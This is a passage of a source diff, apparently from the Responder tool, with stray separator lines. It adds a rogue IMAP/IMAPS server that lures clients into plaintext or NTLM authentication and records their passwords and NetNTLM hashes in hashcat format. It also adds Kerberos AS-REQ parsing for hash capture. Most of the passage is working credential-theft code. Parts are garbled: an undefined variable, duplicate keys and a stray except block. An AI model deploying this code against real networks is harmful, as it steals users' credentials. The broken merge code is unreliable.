key_path = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
|
||||
|
||||
if not os.path.exists(cert_path) or not os.path.exists(key_path):
|
||||
if settings.Config.Verbose:
|
||||
print(text('[IMAP] SSL certificates not found'))
|
||||
return False
|
||||
|
||||
# Create SSL context
|
||||
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
||||
context.load_cert_chain(cert_path, key_path)
|
||||
|
||||
# Wrap socket
|
||||
self.request = context.wrap_socket(self.request, server_side=True)
|
||||
self.tls_enabled = True
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[IMAP] Successfully upgraded to TLS from %s' %
|
||||
self.client_address[0].replace("::ffff:", "")))
|
||||
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[IMAP] TLS upgrade failed: %s' % str(e)))
|
||||
return False
|
||||
|
||||
def send_capability(self, tag="*"):
|
||||
"""Send CAPABILITY response with STARTTLS if not already in TLS"""
|
||||
if self.tls_enabled:
|
||||
# After STARTTLS, don't advertise it again
|
||||
self.request.send(NetworkSendBufferPython2or3(IMAPCapability()))
|
||||
else:
|
||||
# Before STARTTLS, advertise it
|
||||
capability = "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN AUTH=LOGIN AUTH=NTLM STARTTLS\r\n"
|
||||
self.request.send(NetworkSendBufferPython2or3(capability))
|
||||
|
||||
if tag != "*":
|
||||
self.request.send(NetworkSendBufferPython2or3(IMAPCapabilityEnd(Tag=tag)))
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
# Send greeting
|
||||
self.request.send(NetworkSendBufferPython2or3(IMAPGreeting()))
|
||||
data = self.request.recv(1024)
|
||||
if data[5:15] == b'CAPABILITY':
|
||||
RequestTag = data[0:4]
|
||||
self.request.send(NetworkSendBufferPython2or3(IMAPCapability()))
|
||||
self.request.send(NetworkSendBufferPython2or3(IMAPCapabilityEnd(Tag=RequestTag.decode("latin-1"))))
|
||||
|
||||
# Main loop to handle multiple commands
|
||||
while True:
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[5:10] == b'LOGIN':
|
||||
Credentials = data[10:].strip().decode("latin-1").split('"')
|
||||
|
||||
if not data:
|
||||
break
|
||||
|
||||
# Handle CAPABILITY command
|
||||
if b'CAPABILITY' in data.upper():
|
||||
RequestTag = self.extract_tag(data)
|
||||
self.send_capability(RequestTag)
|
||||
continue
|
||||
|
||||
# Handle STARTTLS command
|
||||
if b'STARTTLS' in data.upper():
|
||||
RequestTag = self.extract_tag(data)
|
||||
|
||||
if self.tls_enabled:
|
||||
# Already in TLS
|
||||
response = "%s BAD STARTTLS already in TLS\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
continue
|
||||
|
||||
# Send OK response before upgrading
|
||||
response = "%s OK Begin TLS negotiation now\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
|
||||
# Upgrade to TLS
|
||||
if not self.upgrade_to_tls():
|
||||
# TLS upgrade failed, close connection
|
||||
break
|
||||
|
||||
# Continue handling commands over TLS
|
||||
continue
|
||||
|
||||
# Handle LOGIN command
|
||||
if b'LOGIN' in data.upper():
|
||||
success = self.handle_login(data)
|
||||
if success:
|
||||
break
|
||||
continue
|
||||
|
||||
# Handle AUTHENTICATE PLAIN
|
||||
if b'AUTHENTICATE PLAIN' in data.upper():
|
||||
success = self.handle_authenticate_plain(data)
|
||||
if success:
|
||||
break
|
||||
continue
|
||||
|
||||
# Handle AUTHENTICATE LOGIN
|
||||
if b'AUTHENTICATE LOGIN' in data.upper():
|
||||
success = self.handle_authenticate_login(data)
|
||||
if success:
|
||||
break
|
||||
continue
|
||||
|
||||
# Handle AUTHENTICATE NTLM
|
||||
if b'AUTHENTICATE NTLM' in data.upper():
|
||||
success = self.handle_authenticate_ntlm(data)
|
||||
if success:
|
||||
break
|
||||
continue
|
||||
|
||||
# Handle LOGOUT
|
||||
if b'LOGOUT' in data.upper():
|
||||
RequestTag = self.extract_tag(data)
|
||||
response = "* BYE IMAP4 server logging out\r\n"
|
||||
response += "%s OK LOGOUT completed\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
break
|
||||
|
||||
# Unknown command - send error
|
||||
RequestTag = self.extract_tag(data)
|
||||
response = "%s BAD Command not recognized\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[IMAP] Exception: %s' % str(e)))
|
||||
pass
|
||||
|
||||
def extract_tag(self, data):
|
||||
"""Extract IMAP command tag (e.g., 'A001' from 'A001 LOGIN ...')"""
|
||||
try:
|
||||
parts = data.decode('latin-1', errors='ignore').split()
|
||||
if parts:
|
||||
return parts[0]
|
||||
except:
|
||||
pass
|
||||
return "A001"
|
||||
|
||||
def handle_login(self, data):
|
||||
"""
|
||||
Handle LOGIN command
|
||||
Format: TAG LOGIN username password
|
||||
Credentials can be quoted or unquoted
|
||||
"""
|
||||
try:
|
||||
RequestTag = self.extract_tag(data)
|
||||
|
||||
# Decode the data
|
||||
data_str = data.decode('latin-1', errors='ignore').strip()
|
||||
|
||||
# Remove tag and LOGIN command
|
||||
# Pattern: TAG LOGIN credentials
|
||||
login_match = re.search(r'LOGIN\s+(.+)', data_str, re.IGNORECASE)
|
||||
if not login_match:
|
||||
response = "%s BAD LOGIN command syntax error\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
return False
|
||||
|
||||
credentials_part = login_match.group(1).strip()
|
||||
|
||||
# Parse credentials - can be quoted or unquoted
|
||||
username, password = self.parse_credentials(credentials_part)
|
||||
|
||||
if username and password:
|
||||
# Save credentials
|
||||
SaveToDb({
|
||||
'module': 'IMAP',
|
||||
'type': 'Cleartext',
|
||||
'client': self.client_address[0],
|
||||
'user': Credentials[1],
|
||||
'cleartext': Credentials[3],
|
||||
'fullhash': Credentials[1]+":"+Credentials[3],
|
||||
'user': username,
|
||||
'cleartext': password,
|
||||
'fullhash': username + ":" + password,
|
||||
})
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[IMAP] LOGIN captured: %s:%s from %s' % (
|
||||
username, password, self.client_address[0])))
|
||||
|
||||
# Send success but then close
|
||||
response = "%s OK LOGIN completed\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
return True
|
||||
else:
|
||||
# Invalid credentials format
|
||||
response = "%s BAD LOGIN credentials format error\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
return False
|
||||
|
||||
except Exception as e:
|
||||
return False
|
||||
|
||||
def parse_credentials(self, creds_str):
|
||||
"""
|
||||
Parse username and password from LOGIN command
|
||||
Supports: "user" "pass", user pass, {5}user {8}password (literal strings)
|
||||
"""
|
||||
try:
|
||||
# Method 1: Quoted strings "user" "pass"
|
||||
quoted_match = re.findall(r'"([^"]*)"', creds_str)
|
||||
if len(quoted_match) >= 2:
|
||||
return quoted_match[0], quoted_match[1]
|
||||
|
||||
# Method 2: Space-separated (unquoted)
|
||||
parts = creds_str.split()
|
||||
if len(parts) >= 2:
|
||||
# Remove any curly brace literals {5}
|
||||
user = re.sub(r'^\{\d+\}', '', parts[0])
|
||||
passwd = re.sub(r'^\{\d+\}', '', parts[1])
|
||||
return user, passwd
|
||||
|
||||
return None, None
|
||||
|
||||
except:
|
||||
return None, None
|
||||
|
||||
def handle_authenticate_plain(self, data):
|
||||
"""Handle AUTHENTICATE PLAIN command - can be single-line or multi-line"""
|
||||
try:
|
||||
RequestTag = self.extract_tag(data)
|
||||
data_str = data.decode('latin-1', errors='ignore').strip()
|
||||
plain_match = re.search(r'AUTHENTICATE\s+PLAIN\s+(.+)', data_str, re.IGNORECASE)
|
||||
|
||||
if plain_match:
|
||||
b64_creds = plain_match.group(1).strip()
|
||||
else:
|
||||
response = "+\r\n"
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
cred_data = self.request.recv(1024)
|
||||
if not cred_data:
|
||||
return False
|
||||
b64_creds = cred_data.decode('latin-1', errors='ignore').strip()
|
||||
|
||||
try:
|
||||
decoded = base64.b64decode(b64_creds).decode('latin-1', errors='ignore')
|
||||
parts = decoded.split('\x00')
|
||||
|
||||
if len(parts) >= 3:
|
||||
username = parts[1]
|
||||
password = parts[2]
|
||||
elif len(parts) >= 2:
|
||||
username = parts[0]
|
||||
password = parts[1]
|
||||
else:
|
||||
raise ValueError("Invalid PLAIN format")
|
||||
|
||||
if username and password:
|
||||
SaveToDb({
|
||||
'module': 'IMAP',
|
||||
'type': 'Cleartext',
|
||||
'client': self.client_address[0],
|
||||
'user': username,
|
||||
'cleartext': password,
|
||||
'fullhash': username + ":" + password,
|
||||
})
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[IMAP] AUTHENTICATE PLAIN captured: %s:%s from %s' % (
|
||||
username, password, self.client_address[0])))
|
||||
|
||||
response = "%s OK AUTHENTICATE completed\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
response = "%s NO AUTHENTICATE failed\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
return False
|
||||
|
||||
except Exception as e:
|
||||
return False
|
||||
|
||||
def handle_authenticate_login(self, data):
|
||||
"""Handle AUTHENTICATE LOGIN command - prompts for username, then password"""
|
||||
try:
|
||||
RequestTag = self.extract_tag(data)
|
||||
|
||||
response = "+ " + base64.b64encode(b"Username:").decode('latin-1') + "\r\n"
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
|
||||
user_data = self.request.recv(1024)
|
||||
if not user_data:
|
||||
return False
|
||||
|
||||
username_b64 = user_data.decode('latin-1', errors='ignore').strip()
|
||||
username = base64.b64decode(username_b64).decode('latin-1', errors='ignore')
|
||||
|
||||
response = "+ " + base64.b64encode(b"Password:").decode('latin-1') + "\r\n"
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
|
||||
pass_data = self.request.recv(1024)
|
||||
if not pass_data:
|
||||
return False
|
||||
|
||||
password_b64 = pass_data.decode('latin-1', errors='ignore').strip()
|
||||
password = base64.b64decode(password_b64).decode('latin-1', errors='ignore')
|
||||
|
||||
if username and password:
|
||||
SaveToDb({
|
||||
'module': 'IMAP',
|
||||
'type': 'Cleartext',
|
||||
'client': self.client_address[0],
|
||||
'user': username,
|
||||
'cleartext': password,
|
||||
'fullhash': username + ":" + password,
|
||||
})
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[IMAP] AUTHENTICATE LOGIN captured: %s:%s from %s' % (
|
||||
username, password, self.client_address[0])))
|
||||
|
||||
response = "%s OK AUTHENTICATE completed\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
return True
|
||||
else:
|
||||
response = "%s NO AUTHENTICATE failed\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
return False
|
||||
|
||||
except Exception as e:
|
||||
return False
|
||||
|
||||
def handle_authenticate_ntlm(self, data):
|
||||
"""Handle AUTHENTICATE NTLM command - implements challenge-response"""
|
||||
try:
|
||||
RequestTag = self.extract_tag(data)
|
||||
|
||||
response = "+\r\n"
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
|
||||
type1_data = self.request.recv(2048)
|
||||
if not type1_data:
|
||||
return False
|
||||
|
||||
type1_b64 = type1_data.decode('latin-1', errors='ignore').strip()
|
||||
|
||||
try:
|
||||
type1_msg = base64.b64decode(type1_b64)
|
||||
except:
|
||||
return False
|
||||
|
||||
type2_msg = self.generate_ntlm_type2()
|
||||
type2_b64 = base64.b64encode(type2_msg).decode('latin-1')
|
||||
|
||||
response = "+ %s\r\n" % type2_b64
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
|
||||
type3_data = self.request.recv(4096)
|
||||
if not type3_data:
|
||||
return False
|
||||
|
||||
type3_b64 = type3_data.decode('latin-1', errors='ignore').strip()
|
||||
|
||||
if type3_b64 == '*' or type3_b64 == '':
|
||||
if settings.Config.Verbose:
|
||||
print(text('[IMAP] Client cancelled NTLM authentication'))
|
||||
response = "%s NO AUTHENTICATE cancelled\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
return False
|
||||
|
||||
if not all(c in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\r\n' for c in type3_b64):
|
||||
response = "%s NO AUTHENTICATE failed\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
return False
|
||||
|
||||
try:
|
||||
type3_msg = base64.b64decode(type3_b64)
|
||||
except Exception as e:
|
||||
response = "%s NO AUTHENTICATE failed\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
return False
|
||||
|
||||
ntlm_hash = self.parse_ntlm_type3(type3_msg, type2_msg)
|
||||
|
||||
if ntlm_hash:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[IMAP] NTLM hash captured: %s from %s' % (
|
||||
ntlm_hash['user'], self.client_address[0])))
|
||||
|
||||
SaveToDb(ntlm_hash)
|
||||
|
||||
response = "%s OK AUTHENTICATE completed\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
return True
|
||||
else:
|
||||
response = "%s NO AUTHENTICATE failed\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
return False
|
||||
|
||||
except Exception as e:
|
||||
return False
|
||||
|
||||
def generate_ntlm_type2(self):
|
||||
"""Generate NTLM Type 2 (Challenge) message with target info for NTLMv2"""
|
||||
import time
|
||||
|
||||
challenge = os.urandom(8)
|
||||
self.ntlm_challenge = challenge
|
||||
|
||||
target_name = b'W\x00O\x00R\x00K\x00G\x00R\x00O\x00U\x00P\x00'
|
||||
target_name_len = len(target_name)
|
||||
|
||||
target_info = b''
|
||||
|
||||
domain_name = b'W\x00O\x00R\x00K\x00G\x00R\x00O\x00U\x00P\x00'
|
||||
target_info += struct.pack('<HH', 0x0002, len(domain_name))
|
||||
target_info += domain_name
|
||||
|
||||
computer_name = b'S\x00E\x00R\x00V\x00E\x00R\x00'
|
||||
target_info += struct.pack('<HH', 0x0001, len(computer_name))
|
||||
target_info += computer_name
|
||||
|
||||
dns_domain = b'w\x00o\x00r\x00k\x00g\x00r\x00o\x00u\x00p\x00'
|
||||
target_info += struct.pack('<HH', 0x0004, len(dns_domain))
|
||||
target_info += dns_domain
|
||||
|
||||
dns_computer = b's\x00e\x00r\x00v\x00e\x00r\x00'
|
||||
target_info += struct.pack('<HH', 0x0003, len(dns_computer))
|
||||
target_info += dns_computer
|
||||
|
||||
timestamp = int((time.time() + 11644473600) * 10000000)
|
||||
target_info += struct.pack('<HH', 0x0007, 8)
|
||||
target_info += struct.pack('<Q', timestamp)
|
||||
|
||||
target_info += struct.pack('<HH', 0x0000, 0)
|
||||
|
||||
target_info_len = len(target_info)
|
||||
|
||||
target_name_offset = 48
|
||||
target_info_offset = target_name_offset + target_name_len
|
||||
|
||||
signature = b'NTLMSSP\x00'
|
||||
msg_type = struct.pack('<I', 2)
|
||||
|
||||
target_name_fields = struct.pack('<HHI', target_name_len, target_name_len, target_name_offset)
|
||||
|
||||
flags = b'\x05\x02\x81\xa2'
|
||||
|
||||
context = b'\x00' * 8
|
||||
|
||||
target_info_fields = struct.pack('<HHI', target_info_len, target_info_len, target_info_offset)
|
||||
|
||||
type2_msg = (signature + msg_type + target_name_fields + flags +
|
||||
challenge + context + target_info_fields + target_name + target_info)
|
||||
|
||||
return type2_msg
|
||||
|
||||
def parse_ntlm_type3(self, type3_msg, type2_msg):
|
||||
"""Parse NTLM Type 3 (Authenticate) message and extract NetNTLMv2 hash"""
|
||||
try:
|
||||
from binascii import hexlify
|
||||
|
||||
if type3_msg[:8] != b'NTLMSSP\x00':
|
||||
return None
|
||||
|
||||
msg_type = struct.unpack('<I', type3_msg[8:12])[0]
|
||||
if msg_type != 3:
|
||||
return None
|
||||
|
||||
lm_len, lm_maxlen, lm_offset = struct.unpack('<HHI', type3_msg[12:20])
|
||||
ntlm_len, ntlm_maxlen, ntlm_offset = struct.unpack('<HHI', type3_msg[20:28])
|
||||
domain_len, domain_maxlen, domain_offset = struct.unpack('<HHI', type3_msg[28:36])
|
||||
user_len, user_maxlen, user_offset = struct.unpack('<HHI', type3_msg[36:44])
|
||||
ws_len, ws_maxlen, ws_offset = struct.unpack('<HHI', type3_msg[44:52])
|
||||
|
||||
if user_offset + user_len <= len(type3_msg):
|
||||
user = type3_msg[user_offset:user_offset+user_len].decode('utf-16le', errors='ignore')
|
||||
else:
|
||||
user = "unknown"
|
||||
|
||||
if domain_offset + domain_len <= len(type3_msg):
|
||||
domain = type3_msg[domain_offset:domain_offset+domain_len].decode('utf-16le', errors='ignore')
|
||||
else:
|
||||
domain = ""
|
||||
|
||||
if ntlm_offset + ntlm_len <= len(type3_msg):
|
||||
ntlm_response = type3_msg[ntlm_offset:ntlm_offset+ntlm_len]
|
||||
else:
|
||||
return None
|
||||
|
||||
if len(ntlm_response) > 24:
|
||||
ntlmv2_response = ntlm_response[:16]
|
||||
ntlmv2_blob = ntlm_response[16:]
|
||||
|
||||
challenge = type2_msg[24:32]
|
||||
|
||||
hash_str = "%s::%s:%s:%s:%s" % (
|
||||
user,
|
||||
domain,
|
||||
hexlify(challenge).decode(),
|
||||
hexlify(ntlmv2_response).decode(),
|
||||
hexlify(ntlmv2_blob).decode()
|
||||
)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[IMAP] NetNTLMv2 hash format (hashcat -m 5600)'))
|
||||
|
||||
return {
|
||||
'module': 'IMAP',
|
||||
'type': 'NetNTLMv2',
|
||||
'client': self.client_address[0],
|
||||
'user': user,
|
||||
'domain': domain,
|
||||
'hash': hash_str,
|
||||
'fullhash': hash_str
|
||||
}
|
||||
else:
|
||||
ntlm_hash = ntlm_response[:24]
|
||||
challenge = type2_msg[24:32]
|
||||
|
||||
if lm_offset + lm_len <= len(type3_msg) and lm_len == 24:
|
||||
lm_hash = type3_msg[lm_offset:lm_offset+lm_len]
|
||||
else:
|
||||
lm_hash = b'\x00' * 24
|
||||
|
||||
hash_str = "%s::%s:%s:%s:%s" % (
|
||||
user,
|
||||
domain,
|
||||
hexlify(lm_hash).decode(),
|
||||
hexlify(ntlm_hash).decode(),
|
||||
hexlify(challenge).decode()
|
||||
)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[IMAP] NetNTLMv1 hash format (hashcat -m 5500)'))
|
||||
|
||||
return {
|
||||
'module': 'IMAP',
|
||||
'type': 'NetNTLMv1',
|
||||
'client': self.client_address[0],
|
||||
'user': user,
|
||||
'domain': domain,
|
||||
'hash': hash_str,
|
||||
'fullhash': hash_str
|
||||
}
|
||||
|
||||
except Exception as e:
|
||||
return None
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
class IMAPS(IMAP):
|
||||
"""IMAP over SSL (port 993) - SSL wrapper that inherits from IMAP"""
|
||||
|
||||
def setup(self):
|
||||
"""Setup SSL socket before handling - called automatically by SocketServer"""
|
||||
try:
|
||||
# Get SSL certificate paths from Responder config
|
||||
cert_path = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
|
||||
key_path = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
|
||||
|
||||
if not os.path.exists(cert_path) or not os.path.exists(key_path):
|
||||
if settings.Config.Verbose:
|
||||
print(text('[IMAPS] SSL certificates not found'))
|
||||
self.request.close()
|
||||
return
|
||||
|
||||
# Create SSL context
|
||||
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
||||
context.load_cert_chain(cert_path, key_path)
|
||||
|
||||
# Wrap socket in SSL before IMAP handles it
|
||||
self.request = context.wrap_socket(self.request, server_side=True)
|
||||
|
||||
# Mark as already in TLS so STARTTLS isn't advertised
|
||||
self.tls_enabled = True
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[IMAPS] SSL connection from %s' %
|
||||
self.client_address[0].replace("::ffff:", "")))
|
||||
|
||||
except ssl.SSLError as e:
|
||||
# Client rejected self-signed cert - suppress expected errors
|
||||
if 'ALERT_BAD_CERTIFICATE' not in str(e) and settings.Config.Verbose:
|
||||
print(text('[IMAPS] SSL handshake failed: %s' % str(e)))
|
||||
try:
|
||||
self.request.close()
|
||||
except:
|
||||
pass
|
||||
except Exception as e:
|
||||
if 'Bad file descriptor' not in str(e) and settings.Config.Verbose:
|
||||
print(text('[IMAPS] SSL setup error: %s' % str(e)))
|
||||
try:
|
||||
self.request.close()
|
||||
except:
|
||||
pass
|
||||
|
||||
# handle() method is inherited from IMAP class - no need to override!
|
||||
|
||||
@@ -16,134 +16,722 @@
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import codecs
|
||||
import struct
|
||||
import time
|
||||
from utils import *
|
||||
|
||||
if settings.Config.PY2OR3 == "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
|
||||
# Kerberos encryption types
|
||||
ENCRYPTION_TYPES = {
|
||||
b'\x01': 'des-cbc-crc',
|
||||
b'\x03': 'des-cbc-md5',
|
||||
b'\x11': 'aes128-cts-hmac-sha1-96',
|
||||
b'\x12': 'aes256-cts-hmac-sha1-96',
|
||||
b'\x13': 'rc4-hmac',
|
||||
b'\x14': 'rc4-hmac-exp',
|
||||
b'\x17': 'rc4-hmac',
|
||||
b'\x18': 'rc4-hmac-exp',
|
||||
}
|
||||
|
||||
def ParseMSKerbv5TCP(Data):
|
||||
MsgType = Data[21:22]
|
||||
EncType = Data[43:44]
|
||||
MessageType = Data[32:33]
|
||||
def parse_asn1_length(data, offset):
|
||||
"""Parse ASN.1 length field (short or long form)"""
|
||||
if offset >= len(data):
|
||||
return 0, 0
|
||||
|
||||
first_byte = data[offset]
|
||||
|
||||
# Short form (length < 128)
|
||||
if first_byte < 0x80:
|
||||
return first_byte, 1
|
||||
|
||||
# Long form
|
||||
num_octets = first_byte & 0x7F
|
||||
if num_octets == 0 or offset + 1 + num_octets > len(data):
|
||||
return 0, 0
|
||||
|
||||
length = 0
|
||||
for i in range(num_octets):
|
||||
length = (length << 8) | data[offset + 1 + i]
|
||||
|
||||
return length, 1 + num_octets
|
||||
|
||||
if MsgType == b'\x0a' and EncType == b'\x17' and MessageType ==b'\x02':
|
||||
if Data[49:53] == b'\xa2\x36\x04\x34' or Data[49:53] == b'\xa2\x35\x04\x33':
|
||||
HashLen = struct.unpack('<b',Data[50:51])[0]
|
||||
if HashLen == 54:
|
||||
Hash = Data[53:105]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[153:154])[0]
|
||||
Name = Data[154:154+NameLen].decode('latin-1')
|
||||
DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
|
||||
Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen].decode('latin-1')
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||
return BuildHash
|
||||
def encode_asn1_length(length):
|
||||
"""Encode length in ASN.1 format"""
|
||||
if length < 128:
|
||||
return struct.pack('B', length)
|
||||
|
||||
# Long form
|
||||
length_bytes = []
|
||||
temp = length
|
||||
while temp > 0:
|
||||
length_bytes.insert(0, temp & 0xFF)
|
||||
temp >>= 8
|
||||
|
||||
num_octets = len(length_bytes)
|
||||
result = struct.pack('B', 0x80 | num_octets)
|
||||
for byte in length_bytes:
|
||||
result += struct.pack('B', byte)
|
||||
|
||||
return result
|
||||
|
||||
if Data[44:48] == b'\xa2\x36\x04\x34' or Data[44:48] == b'\xa2\x35\x04\x33':
|
||||
HashLen = struct.unpack('<b',Data[45:46])[0]
|
||||
if HashLen == 53:
|
||||
Hash = Data[48:99]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[147:148])[0]
|
||||
Name = Data[148:148+NameLen].decode('latin-1')
|
||||
DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0]
|
||||
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen].decode('latin-1')
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||
return BuildHash
|
||||
elif HashLen == 54:
|
||||
Hash = Data[53:105]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[148:149])[0]
|
||||
Name = Data[149:149+NameLen].decode('latin-1')
|
||||
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
|
||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen].decode('latin-1')
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||
return BuildHash
|
||||
else:
|
||||
Hash = Data[48:100]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[148:149])[0]
|
||||
Name = Data[149:149+NameLen].decode('latin-1')
|
||||
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
|
||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen].decode('latin-1')
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||
return BuildHash
|
||||
return False
|
||||
def extract_principal_name(data):
|
||||
"""Extract principal name from AS-REQ - searches in req-body only"""
|
||||
try:
|
||||
# Look for [4] req-body tag first to avoid PA-DATA
|
||||
req_body_offset = None
|
||||
for i in range(len(data) - 100):
|
||||
if data[i:i+1] == b'\xa4': # [4] req-body
|
||||
req_body_offset = i
|
||||
break
|
||||
|
||||
if req_body_offset is None:
|
||||
return "user"
|
||||
|
||||
# Search for [1] cname AFTER req-body starts
|
||||
search_start = req_body_offset
|
||||
search_end = min(search_start + 150, len(data) - 20)
|
||||
|
||||
for i in range(search_start, search_end):
|
||||
# Look for GeneralString (0x1b) with reasonable length
|
||||
if data[i:i+1] == b'\x1b':
|
||||
name_len = data[i+1] if i+1 < len(data) else 0
|
||||
if 1 < name_len < 30 and i + 2 + name_len <= len(data):
|
||||
name = data[i+2:i+2+name_len].decode('latin-1', errors='ignore')
|
||||
# Validate: printable, no control chars, looks like username
|
||||
if (name and
|
||||
name.isprintable() and
|
||||
name.isascii() and
|
||||
not any(c in name for c in ['\x00', '\n', '\r', '\t']) and
|
||||
all(c.isalnum() or c in '.-_@' for c in name)):
|
||||
return name
|
||||
|
||||
return "user"
|
||||
except:
|
||||
return "user"
|
||||
|
||||
def ParseMSKerbv5UDP(Data):
|
||||
MsgType = Data[17:18]
|
||||
EncType = Data[39:40]
|
||||
def extract_realm(data):
|
||||
"""Extract realm from AS-REQ - searches in req-body only"""
|
||||
try:
|
||||
# Look for [4] req-body tag first
|
||||
req_body_offset = None
|
||||
for i in range(len(data) - 100):
|
||||
if data[i:i+1] == b'\xa4': # [4] req-body
|
||||
req_body_offset = i
|
||||
break
|
||||
|
||||
if req_body_offset is None:
|
||||
return settings.Config.MachineName.upper()
|
||||
|
||||
# Search for realm AFTER req-body starts
|
||||
search_start = req_body_offset + 10
|
||||
search_end = min(search_start + 150, len(data) - 20)
|
||||
|
||||
for i in range(search_start, search_end):
|
||||
# Look for GeneralString (0x1b) with reasonable length
|
||||
if data[i:i+1] == b'\x1b':
|
||||
realm_len = data[i+1] if i+1 < len(data) else 0
|
||||
# Realm should be 5-50 chars (like "DOMAIN.LOCAL")
|
||||
if 5 < realm_len < 50 and i + 2 + realm_len <= len(data):
|
||||
realm = data[i+2:i+2+realm_len].decode('latin-1', errors='ignore')
|
||||
# Validate: printable ASCII, contains dot, looks like domain
|
||||
if (realm and
|
||||
realm.isprintable() and
|
||||
realm.isascii() and
|
||||
'.' in realm and
|
||||
realm.count('.') >= 1 and realm.count('.') <= 5 and
|
||||
not any(c in realm for c in ['\x00', '\n', '\r', '\t', '/', ':', ' ']) and
|
||||
all(c.isalnum() or c in '.-' for c in realm)):
|
||||
return realm
|
||||
|
||||
return settings.Config.MachineName.upper()
|
||||
except:
|
||||
return settings.Config.MachineName.upper()
|
||||
|
||||
if MsgType == b'\x0a' and EncType == b'\x17':
|
||||
if Data[40:44] == b'\xa2\x36\x04\x34' or Data[40:44] == b'\xa2\x35\x04\x33':
|
||||
HashLen = struct.unpack('<b',Data[41:42])[0]
|
||||
if HashLen == 54:
|
||||
Hash = Data[44:96]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[144:145])[0]
|
||||
Name = Data[145:145+NameLen].decode('latin-1')
|
||||
DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
|
||||
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen].decode('latin-1')
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||
return BuildHash
|
||||
elif HashLen == 53:
|
||||
Hash = Data[44:95]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[143:144])[0]
|
||||
Name = Data[144:144+NameLen].decode('latin-1')
|
||||
